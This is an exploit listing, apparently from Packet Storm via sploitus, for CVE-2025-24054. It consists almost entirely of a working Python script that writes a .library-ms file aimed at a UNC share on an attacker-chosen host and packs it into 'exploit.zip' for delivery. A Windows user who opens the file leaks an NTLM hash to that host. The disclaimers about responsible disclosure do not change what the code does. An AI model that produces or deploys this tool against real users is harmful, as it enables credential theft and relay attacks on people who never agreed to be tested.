Share
## https://sploitus.com/exploit?id=PACKETSTORM:215040
# Exploit Title: windows 10/11 - NTLM Hash Disclosure Spoofing 
    # Date: 2025-10-06
    # Exploit Author: Beatriz Fresno Naumova
    # Vendor Homepage: https://www.microsoft.com
    # Software Link: N/A
    # Version: Not applicable (this is a generic Windows library file behavior)
    # Tested on: Windows 10 (x64) / Windows 11 (x64) (lab environment)
    # CVE: CVE-2025-24054
    
    # Description:
    # A proof-of-concept that generates a .library-ms XML file pointing to a network
    # share (UNC). When opened/imported on Windows, the library points to the specified
    # UNC path.
    #
    # Notes:
    # - This PoC is provided for responsible disclosure only. Do not test against
    #   live/production websites or networks without explicit written permission.
    # - Attach exactly one exploit file per email (this file).
    # - Include the .library-ms (or ZIP containing it) as an attachment, plus this header block.
    
    #!/usr/bin/env python3
    
    import argparse
    import ipaddress
    import os
    import re
    import sys
    import tempfile
    import zipfile
    import shutil
    from pathlib import Path
    
    # Very small hostname check (keeps things simple)
    _HOSTNAME_RE = re.compile(
        r"^(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.)*[A-Za-z0-9\-]{1,63}$"
    )
    
    # simple sanitizer: allow only a limited charset for base filenames
    _FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]{1,128}$")
    
    
    def is_valid_target(value: str) -> bool:
        """
        Return True if value looks like an IP address, a hostname, or a UNC path.
        This is intentionally permissive โ€” it's only to catch obvious typos.
        """
        if value.startswith("\\\\") or value.startswith("//"):
            # Minimal UNC sanity: ensure there's at least \\host\share (two components)
            parts = re.split(r"[\\/]+", value.strip("\\/"))
            return len(parts) >= 2 and all(parts[:2])
        try:
            ipaddress.ip_address(value)
            return True
        except ValueError:
            pass
        if _HOSTNAME_RE.match(value):
            return True
        return False
    
    
    def build_library_xml(target: str) -> str:
        """
        Build the XML content for the .library-ms file.
        If the user supplies a bare host/IP, the script uses a share called 'shared'
        (matching the original behavior).
        """
        if target.startswith("\\\\") or target.startswith("//"):
            # normalize forward slashes to backslashes (if any)
            url = target.replace("/", "\\")
        else:
            url = f"\\\\{target}\\shared"
        # Return a plain, minimal XML structure (no additional payloads)
        return f"""<?xml version="1.0" encoding="UTF-8"?>
    <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
      <searchConnectorDescriptionList>
        <searchConnectorDescription>
          <simpleLocation>
            <url>{url}</url>
          </simpleLocation>
        </searchConnectorDescription>
      </searchConnectorDescriptionList>
    </libraryDescription>
    """
    
    
    def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -> None:
        """
        Write the XML to a temporary .library-ms file and add it into a zip.
        """
        tmpdir = Path(tempfile.mkdtemp(prefix="libgen_"))
        try:
            tmp_lib = tmpdir / lib_name
            tmp_lib.write_text(xml_content, encoding="utf-8")
            with zipfile.ZipFile(zip_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
                # place the file at the root of the zip
                zf.write(tmp_lib, arcname=lib_name)
        finally:
            # robust cleanup
            try:
                shutil.rmtree(tmpdir)
            except Exception:
                pass
    
    
    def sanitize_basename(name: str) -> str:
        """
        Ensure the provided base filename is a short safe token (no path separators).
        Raises ValueError on invalid names.
        """
        if not name:
            raise ValueError("Empty filename")
        if os.path.sep in name or (os.path.altsep and os.path.altsep in name):
            raise ValueError("Filename must not contain path separators")
        if not _FILENAME_RE.match(name):
            raise ValueError(
                "Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen"
            )
        return name
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="Generate a .library-ms inside a zip (keep it responsible)."
        )
        parser.add_argument(
            "--file",
            "-f",
            default=None,
            help="Base filename (without extension). If omitted, interactive prompt is used.",
        )
        parser.add_argument(
            "--target",
            "-t",
            default=None,
            help="Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\host\\share).",
        )
        parser.add_argument(
            "--zip",
            "-z",
            default="exploit.zip",
            help="Output zip filename (default: exploit.zip).",
        )
        parser.add_argument(
            "--out",
            "-o",
            default=".",
            help="Output directory (default: current directory).",
        )
        parser.add_argument(
            "--dry-run",
            action="store_true",
            help="Print the .library-ms content and exit without creating files.",
        )
        parser.add_argument(
            "--force",
            action="store_true",
            help="Overwrite output zip if it already exists (use with care).",
        )
        args = parser.parse_args()
    
        # Interactive fallback if needed
        if not args.file:
            try:
                args.file = input("Enter your file name (base, without extension): ").strip()
            except EOFError:
                print("No file name provided.", file=sys.stderr)
                sys.exit(1)
        if not args.target:
            try:
                args.target = input(
                    "Enter IP or host (e.g. 192.168.1.162 or \\\\host\\share): "
                ).strip()
            except EOFError:
                print("No target provided.", file=sys.stderr)
                sys.exit(1)
    
        # sanitize filename
        try:
            safe_base = sanitize_basename(args.file)
        except ValueError as e:
            print(f"ERROR: invalid file name: {e}", file=sys.stderr)
            sys.exit(2)
    
        if not args.target or not is_valid_target(args.target):
            print(
                "ERROR: target does not look like a valid IP, hostname, or UNC path.",
                file=sys.stderr,
            )
            sys.exit(2)
    
        lib_filename = f"{safe_base}.library-ms"
        xml = build_library_xml(args.target)
    
        # Dry-run: show the content and exit
        if args.dry_run:
            print("=== DRY RUN: .library-ms content ===")
            print(xml)
            print("=== END ===")
            print(f"(Would create {lib_filename} inside {args.zip} in {args.out})")
            return
    
        out_dir = Path(args.out).resolve()
        out_dir.mkdir(parents=True, exist_ok=True)
        zip_path = out_dir / args.zip
    
        if zip_path.exists() and not args.force:
            print(
                f"ERROR: {zip_path} already exists. Use --force to overwrite.",
                file=sys.stderr,
            )
            sys.exit(3)
    
        # small reminder about authorization
        print("Reminder: run tests only against systems you are authorized to test.")
        write_zip_with_lib(xml, lib_filename, zip_path)
        print(f"Done. Created {zip_path} containing {lib_filename} -> points to {args.target}")
    
    
    if __name__ == "__main__":
        main()